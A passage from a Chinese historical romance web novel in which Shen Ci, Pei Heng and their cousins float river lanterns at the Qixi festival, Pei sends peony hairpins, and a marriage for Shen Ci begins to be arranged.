沈瓷轻轻点头表示理解,“我从前出门也不带银子的。” 出个门身边好几个人跟着,哪里有她要付银子的地方? 她如此,裴珩自然也如此。 “那你这些银子是…” 沈瓷听见这话,下意识的开始摸自己的荷包,像是想到了什么有趣的事情,浅浅的笑了起来,“思怡出来的时候,时常馋糖葫芦,但她身上也没什么银子,所以就…” 沈瓷没有说的太明白,但裴珩已经听明白。 “姑姑也不是小气的人难不成给思怡的月钱少了?” “思怡月钱不少,但架不住她喜欢的东西也多。”沈瓷开口解释起来,虽说家中每个月会请裁缝来量体裁衣,这些不用自己操心,可若有首饰要单独购置,也是要花银子的。 何况楚思怡还喜欢买些零嘴。 这月钱往往就不够用。 她名 下也有不少的铺子,是裴氏给置办的,那些铺子都有盈利,但这些利钱都没在楚思怡的手上,她每个月能够支配的也只有那么些钱。 沈瓷当初来金陵的时候,舅舅帮她把父母留下的那些产业全部都给变卖了,原本是想折合成银票交给沈瓷的,但楚恒和裴氏都觉得这太浪费,便同沈瓷商议在京城置办铺子。 等以后沈瓷成了亲,都是沈瓷自己的嫁妆,也好有一份保障。 沈瓷当然相信舅舅和舅母。 所以她的月钱也有定数,只是外祖母疼她,时常补贴她,她又很少买什么东西。 故而她过得更宽裕些。 沈瓷见不得表妹可怜巴巴的,出门时便会带上碎银。 “也不用这么惯着她。”裴珩听完之后,心里头有点儿泛酸,他早知晓沈瓷待兄弟姐妹极好,可知晓是一回事,知道的那么清楚又是另外一回事。 “也不算是惯着,思怡也不是每日都能出门,就是偶尔买一些,也花不了什么银子的。”沈瓷忍不住开口辩解,“何况,糖葫芦和零嘴也不贵。” 裴珩哑然失笑,明白过来有些话不能多说。 她怕是见不得旁人说这些。 “何况,我也不是惯着思怡,思怡待我也很好。”沈瓷似乎是不想裴珩误会表妹,告诉他思怡虽然月钱经常不够花,但也会在她生辰的时候攒许久的银子替她买生辰礼。 礼物不算特别的贵重,但那些都是思怡的心意。 裴珩又想起了楚修筠和楚景澄来。 两人要买礼物也是如此,要攒银子。 在书院是时常可怜巴巴的说没有银子下馆子。 裴珩想起了自己的那些银票陷入沉思,他似乎从没有这样的时候,也不知那是一种怎样的体验。 若是要攒几个月的银两给喜欢的姑娘买东西,想来也会很有趣。 “不仅仅是思怡,表姐和表哥他们,还有姝儿,都待我极好。”沈瓷一直都记得这些事,裴珩在一旁认认真真的听着。 这一回的答案依旧不出所料,这些人里头照例都没有他。 好在裴珩也已经习惯。 一路走过去他们又看到了不少的花灯,只是沈瓷更喜欢手中的那一盏,另外那些再好看也不能吸引她的视线。 两人一路走一路看,时不时的说几句话,气氛倒也不算尴尬。 “那边有放河灯的,要不要去看一看?” 裴珩的声音响了起来,他其实也很少在这一日出门,也不清楚有什么好玩的地方,只是裴珩希望沈瓷可以尽兴,便想方设法的同她介绍有趣的东西。 沈瓷想着已经到了此处,也没有扭捏心思,要过去看一看。 结果他们竟在这里瞧见了楚映梦和季小将军。 两人也在一处放河灯。 几人一照面,楚映梦有些难以置信,“阿瓷,表哥?你们俩怎么在这里?” 季小将军在一旁买河灯,压根没注意未婚妻的动向,楚映梦则忍不住往两人身后看了去,看到身后空空如也。 满脸的不敢相信,“这…就你们俩?” 后头不是应该有一串人才对? 沈瓷还没反应过来楚映梦是什么意思,就听表姐又开了口,声音比之前又高了几分,“你们俩,单独出来玩?” 楚映梦忍不住的上下打量着,只觉得自己发现了什么了不得的秘密。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章原来她的名字,是这一个字…… 楚映梦的一句话,让沈瓷和裴珩都尴尬起来,明明事情根本不是这般,被她这么一说,怎么就那么奇怪? “其实…”沈瓷想要开口解释,结果才说了两个字,就听见季小将军的声音。 但楚映梦这会儿脑子里都是这件事,压根就没听见。 她上下打量着沈瓷,好似要看出个所以然来,惹得沈瓷很是无奈,想解释的心也淡了七八分,出声提醒道,“表姐,季小将军在喊你。” 沈瓷的声音拉回了楚映梦的思绪,她这才反应过来自己方才做了什么。 尴尬的咳嗽了起来,“对,对,他在喊我。” 季小将军是喊楚映梦去挑花灯的,楚映梦快速的跑了过去,拿起了两盏花灯,颇有些心不在焉的。 看的季衍疑惑不解,“出什么事了?方才见你在和一姑娘在说话,是你的好友吗?” “是我表妹。”楚映梦凑过去,低低的说了一句,季小将军虽不理解未婚妻为何要这么小声的说话,但他想楚映梦这么做一定有自己的理由。 便配合着压低声音,“那是表妹和表妹夫吗?” 季衍觉得自己的猜测合情合理,谁知楚映梦被唬了一跳,声音都开始结结巴巴起来,“什,什么表妹夫,那是我表哥。” 若非裴珩和沈瓷就在不远处,楚映梦都要惊呼出声。 但季衍根本没感觉到楚映梦的惊慌失措,反而是摸着下巴开口,“表哥和表妹,天赐良缘。” 楚映梦简直要给他跪下了,连连反驳,“表哥和我表妹不是那个关系。” “那,你表哥喜欢你表妹?”季衍的确不太清楚里头的弯弯绕绕,但今天这样的日子,一男一女单独出游,他实在是忍不住多想。 “这…”楚映梦转过头看了裴珩和沈瓷一样,两人站在不远处,不知道在说些什么,态度看着也没有特别的亲昵。 她心里头其实也有些奇怪,但实在是没敢往这方面去想。 楚映梦一直都觉得,她表哥是没有世俗欲望的一个人,还有阿瓷,瞧着也不像是会喜欢什么人的人,怎么好端端的,这俩人就凑在一块儿了? 身边还没有别人,思怡裴姝她们呢?还有两个哥哥呢? 楚映梦满脑子的疑问,想了想又忍不住的转身和未婚夫说话,这一次声音愈发的小了。 季衍同样配合。 二人的动作看着其实是有一些奇怪,可谁让沈瓷心虚,便没有去在意他们二人做了什么。 她忍不住的往周围看了看,想要找寻熟悉的人。 但找了一圈都没有看见,沈瓷还以为是自己看错了,“裴世子,你有没有看见思怡她们?” 裴珩也仔细的看了看,随后摇头,“没有瞧见,也许他们不在此处。” “一会儿表姐若是问起…”沈瓷有些为难的和裴珩一块儿窜口供,这对她来说是一件新鲜事,对裴珩而言同样如此。 他虽觉得没有必要瞒着,可对于沈瓷的要求,却没反驳。 谁知他们俩还没来得及商议细节,楚映梦和季衍就走了过来,“表哥,阿瓷,你们俩在说什么呢?” 沈瓷:“……” 她开始回忆今日出门的时候到底有没有看黄历,不然怎么会遇上这么尴尬的事情? 季衍走近后才认出裴珩来,二人都在朝为官,自然相识,只是从前没什么机会熟悉,如今很快就要成为亲戚,自然比旁人多一份熟络。 只是二人的熟络,也仅限于打招呼的时候,声音温和了一些。 “裴世子。” “季小将军。” 除此之外再去其他,二人打完招呼之后,就兀自的站在一旁。 要是先前楚映梦也许还会觉得尴尬,但这会儿她压根觉察不到,只想知道沈瓷和裴珩她们俩是怎么回事。 “你怎么和表哥在一块儿?思怡和裴姝呢?” 该来的还是来了,沈瓷犹犹豫豫的,还不知道要怎么说,她很为难,但裴珩半点都不为难,扯谎的话张口就来,“思怡她们几个说要去看花灯,等不及跑了出去。” “思怡要出去看花灯,怎么可能会把阿瓷单独留下?”楚映梦没有那么好糊弄,很快就发现了裴珩话语里的漏洞。 但裴珩半点不慌,从容应对,“他们出门时点的菜还没上,思怡和景澄等不及,就先行一步。” 裴珩解释了一句,这理由虽说有一些牵强,但也不是说不过去。 楚映梦又看向沈瓷,沈瓷默默的点头。 “所以他们都走了,只留下了你们俩 ?“楚映梦大概知晓他们俩为何会凑在一起了,这会儿在心里埋怨哥哥和妹妹不靠谱。 怎么就把沈瓷一个人给留下了? “多谢表哥照顾阿瓷。”楚映梦一句话,就将先前那暧昧的气氛消散的干干净净的。 裴珩心中虽有些遗憾,却也明白这才是最好的解决法子,他微微颔首,默认了楚映梦的说法。 楚映梦虽然想和未婚夫单独相处,但在这儿遇上沈瓷,她也很高兴,便拉着沈瓷一块儿去放河灯,“我和季衍买了许多,你看看喜欢哪一个。” 沈瓷这才看见季小将军的手上提着一串的河灯,五颜六色奇形怪状,当真是应有尽有。 楚映梦将那一串河灯全拿在手里,大大方方的让沈瓷挑选,怕她没有喜欢的,还想好了后续,“若是没有喜欢的,再去那边买。” 沈瓷手上还拿着先前的花灯,有一些不方便,裴珩倒是想将那花灯拿过来,又担心会唐突,而沈瓷也不会主动这么做。 就在此时楚映梦将沈瓷手中的花灯取下来,塞到了裴珩的手里,“表哥,麻烦你拿一下。” 说罢,就让沈瓷专心的挑选河灯。 裴珩则在一旁看着。 季小将军瞧见这一幕也没有去凑热闹,二人也不是什么熟稔的性子,就是站在一旁看着。 “表姐,会不会打扰到你们?”沈瓷看了看表姐,又看了看不远处的未来姐夫,心中多少是有有一些歉疚的。 “怎么会?”楚映梦今日玩的特别开心,何况这本就是偶遇,她高兴都还来不及,她虽然是和未婚夫单独出来的,却一点儿也没忘记哥哥和妹妹们,这些花灯就是给他们选的。 “这些花灯每个人都有份,阿瓷你来了正好,我们可以一起放河灯。” “这个花灯是个思怡选的,这个是给裴姝的,还有这个…”楚映梦高高兴兴的和沈瓷介绍花灯。 沈瓷有一些心不在焉,她不禁想着表姐难道没有碰上思怡她们吗? 不是立刻就追出来了?她们几个人到哪里去了? 好在楚映梦今儿个兴奋不已,压根没发现她的心思不在上头,依旧兴致勃勃的同她介绍,“这上头还可以写字,可以将心愿写上去。” 在表姐的介绍下,沈瓷那乱糟糟的思绪也没有持续太久,她彻底的被眼前的河灯征服,再没去管别的。 楚映梦将手中的笔递了过去,沈瓷也没推脱,写下了自己的愿望。 她捧着河灯心情甚好,但沈瓷也没忘记一旁的两人,“季小将军和裴世子,要不要一起?” 季衍自然是愿意的,见楚映梦不反对,立刻走了过去。 裴珩同样如此。 写完之后,几人就将笔还了回去,找了一个地方去放河灯,秦淮河两旁乌泱泱的都是人,沈瓷和楚映梦都没有去和旁人挤的习惯。 走了一会儿才找到一处拱桥,几人便想着去桥下放灯。 沈瓷看见裴珩手中的花灯想要拿回来,却被他淡淡拒绝,“我提着就好。” “等放完河灯再还给你,不必担心。” 沈瓷:“……” 她当真没有这个意思,只是担心麻烦人而已。 楚映梦牵着沈瓷的手往下走去,她一边走还一边嘱咐沈瓷小心些,就在姐妹俩说话的时候,一个再熟悉不过的声音闯到了耳朵里头。 “哥你能不能快一点?这般磨磨唧唧,怪不得我们找不到姐姐。”这是楚思怡的声音,沈瓷一抬头,就看见再熟悉不过的四个人踏上了拱桥。 “怎么就跟我有关系?还不是你一会儿要吃这个一会儿要吃那个的。要不然我们早找找人了。” 这是楚景澄反驳的声音,他像是想到了什么,气恼的说道,“要不是你非要去吃那小馄饨,我们就不会把人跟丢。” 那声音由远及近。 还夹杂着裴姝和楚修筠劝解的声音,“思怡,你走的慢一点,小心摔跤。” “二表哥,你别和思怡计较。” “哪里是我要和她计较?是她非要找我的麻烦。”楚景澄那是半点亏都不吃,两人走了一路,吵了一路。 眼看几个人越走越近,沈瓷忍不住的想要出声提醒。 楚映梦却一把拉住了她的手,躲在了一旁。 沈瓷:“……” 这…只能让表哥他们自求多福了。 楚思怡和楚景澄吵的厉害,两人骂骂咧咧的,结果一抬眼就看见了桥那头站着两个熟悉的人。 未来姐夫和自家表哥。 “表哥?” “表哥你怎么在这里?” 七嘴八舌的声音响起来,裴珩忍不住的想揉额头。 “表哥你怎么和季小将军在一处?你们遇上了?我姐姐呢?”楚思怡飞快的开口追问。 裴珩没有说话,季小将军也是笑而不语。 几人面面相觑,还是裴姝记挂着沈瓷,问了一句沈姐姐在何处。 裴珩这才有了要回应的心思,他指了指一个角落,众人回神的看过去。 瞧见了楚映梦和沈瓷。 所有人:“……” 所以他们刚才说了那么多,全部都被听到了是吧? 楚映梦拉着沈瓷走了出来,视线在众人脸上挨个扫过,“一路跟着我的?” 楚思怡:“……” 她忍不住的去瞪楚景澄,楚景澄也很无辜,“你看着我做什么?若不是因为你,我们怎么可能会变成这样?” “是你方才说漏嘴的。” 二人说着话又吵了起来,而且越吵越厉害,一些楚映梦原本不知道的,全部都被她们自己给抖了出来,只能眼睁睁的看着她们给自己挖坑。 边上的人想拦都拦不住。 让楚映梦听的清清楚楚,“倒也是难为你们了。” 楚思怡&楚景澄:“……” 大意了。 “跟了多久了?”楚映梦气呼呼的问道,这一问所有人都不敢说话。 但楚映梦很快就反应过来,转身看向裴珩,“所以表哥你是因为他们几个跑出来跟踪我,才带阿瓷出来玩的,是吗?” 裴珩:“…咳。” 扯谎被发现,饶是裴珩也有一些尴尬,他淡淡别开眼没有应声。 “什么?”楚思怡原本被姐姐发现在一旁装鹌鹑,听到这里立刻就不干了,冲着裴珩嚷嚷道:“表哥你居然带表姐出来玩,不带我们?” 楚思怡此话一出,楚景澄也是一脸谴责的看过来。 惹得裴珩忍不住的摁住额头,弟弟妹妹实在是有些不太聪明,这可如何是好? 他又看了看剩下的几个,心中多少还有点安慰,好歹不是每一个都不聪明。 裴珩没有说话,但态度已经很明显,楚映梦没法拿裴珩怎么样,便去瞪沈瓷,“你还同她们一块儿瞒着我?方才是想给她们通风报信的是吗?” 一番话说的沈瓷也不敢开口,乖乖的站在一旁,楚思怡一人做事一人当,同姐姐说和表姐没关系,表姐才没跟着来。 “一边待着去,等会儿再找你算账。” “还有你们几个,跟着我是想做什么?!”楚映梦气呼呼的看着他们几个。 他们几个倒也不推脱,一个个站在她面前道歉。 楚映梦也不是什么斤斤计较的人,数落了一通之后就不再计较。 楚思怡见姐姐不生气,很快就腻歪上来,“姐姐你和表姐在做什么?是放河灯吗?这是哪儿买的呀?” “在另一边买的。”楚映梦没和他们生气,指了指季衍手上的花灯,“给你们都买了,自己去选。” 楚思怡拉着裴姝的手就去选了起来,楚景澄倒是矜持,但很快就矜持不起来,因为妹妹虽然爱跟他吵架,可做什么都不会忘记他。 只见楚思怡拿着两个花灯走了过来,递了一个给楚景澄。 “就是这儿没有笔,写不了字。”楚映梦有些遗憾的开口,早知会遇上他们几 个,她就将那笔也一起买下,如今全是麻烦。 “我这里有。”楚修筠的声音响起。 楚映梦和沈瓷都看了过去,二人颇为疑惑,都想知道楚修筠怎么出来玩还要带一支笔。 楚修筠被她们看的有些脸红,轻轻的咳嗽了声,“是方才路过书铺的时候买的。” 明明是出来跟踪人的,结果一个时不时要买些吃的,一个要买些好玩的。 楚修筠也不例外,竟去逛了书铺。 怨不得她们会跟丢了人。 倒是裴姝正常一些,但裴姝本就是陪着思怡出来的,自然没有非要跟上去的执念,于是乎事情就变成了这般。 “成吧。”楚映梦妥协了。 楚修筠便从袖子里取出一支笔和一块墨,原本是瞧着合适才买的,谁知竟用在了这上头。 此处没有砚台,却有随处可见的石头。 几人便在石板上研了墨,找了处空旷地方写下心愿。 虽然有些狼狈,但每个人都很开心,那只笔在人群中传递着,期间还夹杂着笑闹声。 就连原本站在一旁的季小将军和裴珩也被拉了过来,一起放河灯。 谁也没有落下。 沈瓷手中的河灯被她捧了许久,河灯被放到水里的时候,裴珩不经意的一瞥,瞥见了沈瓷的花灯,看见了上头的字。 上头有她的愿望,也有她的名字。 他发誓,自己当真不是刻意去看。可在这不经意间,他看见了沈瓷的名字。 裴珩的心中有一种果然如此的感觉。 原来,她的名字是这一个字。 和他当日在纸上圈出来的那个字一模一样,瓷。 的确很适合她。 第32章 第32章牡丹花的发簪 花灯顺着河水慢慢的远去。 沈瓷看着那河灯,双手合掌虔诚的祈祷着,她的河灯上写着平安喜乐四个字,小小的又切合实际的愿望。 那支笔最终传到了裴珩的手中,他却不知要在这上头写下什么,心中的愿望不足以为外人道,无法宣之于口,可若是什么都不写,也会被人追问,裴珩望向手中空白的河灯,凝神片刻写下了平安二字。 随后写下落款。 平安喜乐是更好的寓意,但裴珩心虚,不愿旁人有所联想,更不愿沈瓷为难。 哪怕有一点点的可能也不愿。 裴珩将自己的河灯放在了沈瓷的边上,河灯摇摇晃晃的顺着水流往下,跌跌撞撞的靠近,然后又飘远。 他原本不是什么悲秋伤月的人,这河灯也代表不了什么,可裴珩就是瞅着那渐行渐远的河灯不顺眼,淡淡的收回了自己的视线,眼不见为净。 只是他到底没能将自己说服,想着何日有空去青莲寺拜一拜才好。 那支笔最后又回到楚修筠的手中,但河灯还有许多,他们也没想着浪费,就将这些河灯全部给放完了。 上头写的心愿五花八门,楚思怡一人占了三个灯,还替沈瓷也抢了一个,“表姐,这里还有一个给你。” 沈瓷没有拒绝楚思怡的好意,将河灯捧在手心里,写上愿望之后又放走了一个。 楚思怡瞧见这一幕很是心满意足,果然还是表姐懂她。 秦淮河上都是各色各样的花灯,她们几人占据一隅之地,自得其乐,久久都不愿离开。 笑闹过后楚思怡还惦记着未曾吃上的晚膳,非要回去吃那一顿招牌菜,好在裴珩和沈瓷出来的时候留了小厮在那处,这会儿过去也不会没有位置。 因为中途遇上,楚映梦和季小将军也被拉着一同前往,厢房够大,多两个人也能够坐的下。 虽说大家方才都在一处放河灯,当时气氛极好,可彼此都不熟悉,季衍起初还有一些拘谨,但到了之后他才发现全然是自己想的太多了些。 他们几个根本就没有功夫搭理他,到了地方之后就各自忙碌起来,厢房里吵吵闹闹的,同先前在河边没什么区别。 季衍家中没有什么兄弟姐妹,即便除夕夜凑一块儿也没有那么热闹。 他觉得新鲜。 又因为是未婚妻的家人,这会儿默默的在一旁认着人,免得闹出什么笑话,楚映梦见状就在一旁给他介绍着。 “那是我妹妹和二哥。” 楚映梦指着楚思怡和楚景澄说话,那俩就如同前世的冤家一般,好了没一会儿又开始吵了起来,明明还差个几岁,瞧着却像是一般大。 楚映梦有时候也觉得疑惑,就连祖母和母亲也想不明白,后来还是阿瓷一语道破天机,一个未及笄,一个未及冠,都还是小孩子。 楚映梦听见这话的时候笑得乐不可支,结果阴差阳错被思怡和景澄知晓,兄妹俩一块儿生了沈瓷的气。 气了好几日。 还是沈瓷赔礼道歉,这事儿才算完。 “那是我大哥和表哥。” 季衍顺着楚映梦的视线看过去,只见楚修筠和裴珩坐在一处,楚修筠的神情有一些严肃,二人定亲之后,季衍其实就清楚的知晓未婚妻家中有什么人,严格来说,楚修筠应当是楚映梦的堂哥,可她好似并没有要区分的那么明白。 平素称呼也都是大哥。 季衍默默的记在了心里头。 “那两个都是表妹。”楚映梦笑着介绍过去,自此,季衍总算是将人给认全了。 “逢年过节时,应当很热闹。” 楚映梦笑着点了点头,她看着季衍,心说以后会更热闹的,只是这些话当着季衍的面说出来未免轻浮,楚映梦全部都藏在了心里。 另一边,沈瓷和裴姝两个在看花灯,裴姝一直在夸那盏灯好看,“沈姐姐,这花灯是买的吗?” 裴姝明知故问,据她所知,这样特殊的花灯基本都是店家当做彩头来吸引客人的,而且花灯越是漂亮,那灯谜就越难。 沈瓷轻轻的摇头,告诉裴姝这花灯是裴珩赢来的,“那谜面太难,我猜不出来,若是没有裴世子在,只怕这花灯就要落入旁人的手中。” 裴姝笑眯眯的点了点头,“哥哥他特别的厉害,沈姐姐,若日后再有这样的机会,你想要什么花灯直接说,别客气。” “哥哥一定能够赢过来。” “这…”沈瓷想说不必这般麻烦,但裴姝已经想到了来年的元宵,告诉沈瓷上元灯会还有礼部举办的赛事,有一年魁首的奖品是一盏特别漂亮的花灯。 那盏灯在裴姝的房里,同样也是裴珩赢来的。 “哥哥特别的厉害,许多人都不是他的对手。” “裴世子很疼爱你。”沈瓷由衷开口,岂料裴姝露出了个一言难尽的表情。 “哥哥他才没有什么兄妹情,那是我答应将半年的月钱给他买砚台,他才愿意去参赛。”裴姝气鼓鼓的,毫不犹豫的将自己的哥哥给卖了干净。 这才七夕,就已经想到了来年的元宵。 看着沈瓷,又不经意的去看了一眼哥哥,心中满是看好戏的神色,她倒是要看看哥哥是不是要沈姐姐半年的月钱。 沈瓷没有拒绝裴姝的好意,却也没有顺着她的话往下说,只是说起了别的将这话题带过,今日于她而言已经是幸运,至于来日,等到来日再论也不迟。 再热闹的日子也有结束的时候,纵使楚思怡依依不舍,她们也到了回府的时辰,裴姝和裴珩的态度一致,要送她们回府,季衍自然是要送未婚妻的。 楚修筠本不想麻烦,但拗不过裴珩和季衍,最终妥协下来。 待到几人回府时已经接近子时。 裴氏派了人在外头守着,见他们都平安归来便放了心,也没去计较他们晚归,毕竟都是有分寸的孩子,用不着她日日提醒。 沈瓷今日走了许久,累的也够呛,秋叶冬竹伺候她梳洗的时候,她险些睡过去,结果刚躺下还没有一刻钟,外头就传来了敲门声,“表姐,我今儿个能不能和你一起睡?” 沈瓷没有犹豫,起身将楚思怡放了进来。 她们俩时常喜欢过来和沈瓷一起睡,这会儿熟门熟路的窜到了床上,找到自己的位置躺好,却没曾想一抬眼就看到了那盏漂亮的花灯。 “表姐,这个花灯好漂亮,是在什 么地方买的?” 沈瓷顺着她的视线看了过去,随后阖上了眼睛回应道,“这花灯是今日猜灯谜的时候赢来的。” “原是如此?表姐你可真厉害,这些灯谜都特别的难,我就从来没有猜中过。”楚思怡满脸的崇拜。 沈瓷有些不好意思,告诉楚思怡那是裴珩赢来的。 “表哥?”楚思怡的声音冷淡了不少,那兴奋和崇拜也都消失不见,“嗯…这花灯当真漂亮。” 沈瓷自然能听出楚思怡话语里的冷淡,开口为裴珩辩解,“那灯谜好难,看上这个花灯的人不在少数,但唯有裴世子猜出来了。” 楚思怡这会儿对灯谜难不难的一点儿感觉都没有,毕竟裴珩赢了并不稀奇,让她好奇的还是表哥竟然会去猜灯谜,“表哥以前从不帮我们,他说我们要学会自己思考,若是猜不出,就证明这花灯和我们没有缘分。” “什么?”沈瓷有些惊讶的看着楚思怡,似乎没想到会听到这样的一番话。 “表哥好端端的怎么转性了?”楚思怡嘀嘀咕咕的开口,但沈瓷也没有多想,她见过裴珩和两位表哥之间的相处,猜测是因为他们更亲近一些的缘故。 “许是裴世子人好。” 楚思怡听见这话被吓得一个激灵,瞬间瞪大了眼睛,她看了一眼表姐,心说表姐到底对她表哥有多少误会?怎么会觉得表哥人好? “表姐,大晚上的,我们别说这么吓人的话。”楚思怡非常认真的开口,“我担心我晚上会睡不着。” 沈瓷:“……” 这边两人正说着话,外头又响起了敲门声,这一回是楚映梦的声音,“阿瓷,我今晚能不能和你一起睡?” 沈瓷听见动静,立刻就要去开门,结果还没下床,就被楚思怡给拽住,她坏心眼的冲着沈瓷摇头,悄悄的说道,“别让她进来。” 沈瓷看了一眼楚思怡,揉了揉她的头发哄她,“晚上还凉呢,姐姐站在外头若是染上风寒怎么办?” 楚思怡听见这话立刻就松了手,若非表姐已经先行一步,她都要亲自去开门。 沈瓷打开门之后楚映梦立刻就窜了进来,边走边问,“阿瓷你方才在和谁说话?” 沈瓷错开了身,楚映梦看到了床上的另一个人,“…你怎么在这里?” 楚思怡有一些不服气,“你为什么在这里,我就为什么在这里。” 楚映梦不太想搭理她,自顾自的找到另一个位置躺下,两人都很有默契的留出中间的位置给沈瓷。 沈瓷也早已经习惯,认命的睡了下去。 结果还没等她躺好呢,楚映梦的声音就响了起来,“阿瓷,这花灯好漂亮,你是在什么地方买的?” 沈瓷:“……” 她看了一眼表姐和表妹,有些无奈她们为何是一前一后的过来,这一模一样的问题,她都要回答两回,“是今日猜灯谜赢来的。” 沈瓷本以为回答完就没无事,谁知姐妹俩的想法是一样的,先是夸赞了沈瓷,在得知花灯是裴珩赢来的之后,那语气就冷淡了不少。 沈瓷:“…其实,这灯谜真的很难。” 但无论沈瓷怎么解释,姐妹俩都不为所动,并且一直觉得若是裴珩的话,赢不下来才是奇怪的事情。 “不过表哥怎么忽然转性了?” 沈瓷:“……” 她已经不怎么想说话了,为何连这些话都一样? 楚映梦不知沈瓷为何沉默下来,倒是楚思怡听见这话,忍不住笑出声来,“…姐,别问了,方才我也这么问,表姐还说是因为表哥人好。” 听到这一句“人好”,直接轮到楚映梦沉默,她看了一眼沈瓷,总觉得沈瓷是被蛊惑了,“阿瓷,这么吓人的话以后还是不要说了。” 楚映梦说的无比认真,岂料她跟刚说完,楚思怡就笑的乐不可支。 沈瓷原本还想忍耐的,但忍耐的着实辛苦,也忍不住弯了弯唇。 “表姐表姐,你和表哥今日还去了何处?” “今日?”沈瓷也没想要瞒着表姐和表妹,见她们问起就将今日的事情和盘托出,无论是捡到了孩子,还是去看了烟火都没有任何隐瞒。 “那孩子当真是幸运。” “是,裴世子也这般说。”沈瓷没由来想起裴珩戳小姑娘脸颊的事情,忍不住的笑了起来,“裴世子还抱了他一路,委实有些辛苦。” 她说的坦然。 楚思怡没当一回事,但楚映梦今日可是亲眼目睹表妹和表哥一块儿出现的,原本也不会多想,因为季衍的一句“表妹和表妹夫”让她整个人心里毛毛躁躁的。 这会儿见着沈瓷笑,便忍不住问了起来,“阿瓷。” “嗯?” “我有话要问你。”楚映梦的声音正经许多,沈瓷原本还懒懒散散的,听见表姐的话,也忍不住的紧张起来。 “怎么了?” “你觉得我表哥是一个怎样的人?” “裴世子?”沈瓷有些疑惑的看了过去,见表姐一脸的认真,便仔细的想了起来。 “裴世子,温和知礼,博闻广记,俊逸端方…”沈瓷找出了不少好词来夸赞裴珩,楚映梦越听越觉得熟悉,迫不及待的打断了她。 “我知道别人是怎么夸他的,我就想知道阿瓷你是怎么看待的。”楚映梦很紧张,但她自己也说不清楚到底紧张什么。 她面上一脸的平静,可藏在被子里的手早就已经攥的紧紧的。 “我?”沈瓷心说这和她又有什么关系?她着实有些疑惑,像是没弄明白表姐为何会这么问。 对于她而言,裴珩就是自己表姐的表哥,同样的,对于裴珩来说,她也就是他表妹的表妹。 若不然,今日何必这么照顾自己? “裴世子,是个温和的人。”沈瓷因为表姐的缘故,认真的想了想,最终只能得出这么一个结论来。 谁知楚映梦和楚思怡是彻底的睡不着了。 她们俩怎么都没想到,沈瓷竟然会这么以为。 要知道,除了沈瓷,还从未有人这般的评价过裴珩,便是裴姝都不曾觉得她哥哥是个温和的人。 楚思怡只觉得表哥惯会骗人,这一回将表姐给骗到了,但楚映梦不一样,她心中满是纠结,看着沈瓷欲言又止。 偏偏沈瓷半点不觉得有什么问题,反而在疑惑她为何有此一问,若是再问下去唯恐表妹误会。 这般情况之下,楚映梦自然不好多问什么,只能将所有的疑惑全部都咽了下去,思索了许久后,自己同自己和解。 她想,她总能够弄明白,这到底是怎么一回事的。 * 七夕过后,她们几人的生活又回到了从前,唯一不同的大概是楚映梦会时不时的收到未婚夫送的东西,而季小将军察言观色的本事也是一流,知晓楚映梦对自己的这几个妹妹们是什么态度。 他送东西来府上时,也会准备沈瓷她们几人的。 就连远在永宁侯府的裴姝也没落下。 为此,季小将军在一众妹妹们的心中,风评节节攀升。 惹得楚家兄弟频频皱眉,二人在裴珩面前抱怨,本以为表哥会嫌他们多事,殊不知裴珩也挺烦这事。 只是裴世子到底沉得住气,没挂在脸上。 但这只是表面而已,回到府上之后,便命人将搁置在书房里的簪子送往忠毅伯府。 竟是连理由都不曾编造。 沈瓷她们最近收礼物都快要收到手软,这会儿收到裴珩送来的东西也不见得有多么的惊讶。 “表哥怎么忽然送我们东西了?”楚思怡有些奇怪的嘟囔着,她打开了自己的盒子瞅了一眼,发现是一支发簪,上头是牡丹花的样式。 楚思怡看完后就想去看沈瓷的,沈瓷正在整理绣线,盒子就放在一旁,她伸手就能够打开,即便她知晓自己直接打开表姐也不会介意。 但楚思怡还是安安静静的等着沈瓷忙完。 沈 瓷见状便让楚思怡帮忙打开,“你打开瞧瞧是什么。” 楚思怡听见这话便没了顾虑,高高兴兴的拆开,“也是牡丹。” 里头的发簪同样是牡丹的,只是款式有些许的不同。 “牡丹?”沈瓷就着楚思怡的手仔细的看了看,发簪做的很精致,牡丹也雕刻的栩栩如生,瞧着就是价值不菲的模样。 但沈瓷的注意力不在价值上头,她只是看着牡丹有些疑惑。 怎么偏偏是牡丹? “表姐,我怎么觉得你这一支比我的好看?” 楚思怡的声音拉回了沈瓷的思绪,她放下手中的丝线,将两支发簪摆在一起,也没看出来到底哪里好看了些,不都是牡丹吗? “你这见天觉得别人手中的东西更好一些的毛病到底要什么时候才能改?”楚映梦无奈不已,她话虽如此,可瞧见楚思怡手中的发簪,也不得不承认妹妹说的没错。 虽然都是牡丹,可怎么看都是沈瓷的那支更精致。 楚思怡不大高兴的看着姐姐,还有些委屈,“我说的本就是事实,你看嘛。” 楚映梦:“……” 这事儿,要她怎么说才好? “表哥一个男子,怎么知道首饰好看还是不好看?随便选的吧。”楚映梦开始给裴珩找借口,说着说着又将自家哥哥给拉出来。 “大哥和二哥送的那些首饰,有几件是好看的?” “说的也是。” 楚思怡单纯,很快就被哄了过去,沈瓷完全在状况之外,她是真的觉得牡丹的首饰没有什么区别。 因为秦月的缘故,沈瓷对牡丹的感观非常复杂,任谁被迫戴了一年的牡丹首饰,都会失去鉴赏能力的。 横看竖看,不都是牡丹吗? 楚映梦:“……” 她要冷静,必须要冷静,也许是自己想的多了些。 楚映梦忽然想见一见裴姝,到底是不是刻意挑选的,总能够看出来。 裴珩并不知晓自己送出去的簪子惹出了那么多的插曲,他只是忽然间想到当初沈瓷及笄宴之前的事。 当时的他,怎得就这般吝啬? 到如今变成了遗憾。 第33章 第33章娘要给阿瓷定亲,人选就是韩…… 七夕过后,她们的生活又回到了正轨上,楚映梦还没来得及去永宁侯府看一看裴姝的发簪,家中就发生了一件了不得的大事。 裴氏意欲给沈瓷定亲,也已经选好了人选,这会儿在问沈瓷的意见。 这件事楚映梦是不知晓的,但楚思怡知道,甚至还很高兴的跑过来告诉姐姐。 若是几个月前,楚思怡肯定不会那么高兴。 她原本也是不待见姐夫的,但谁让季衍这个未来姐夫做的实在是太好,他让楚思怡明白,姐姐成亲之后她不是失去了姐姐,而是多了一个姐夫可以一起玩耍。 对于楚思怡而言,这才是最要紧的。 楚思怡见的人少,瞧见季衍如此,总以为未来的表姐夫也是如此,这才高高兴兴的过来告诉姐姐,她马上又要有一个姐夫了。 “什么?”楚映梦听见这话整个人都有点儿不对劲起来,娘要给阿瓷议亲了? 这是什么时候的事情? 她都还没有成亲,为何要这么着急? 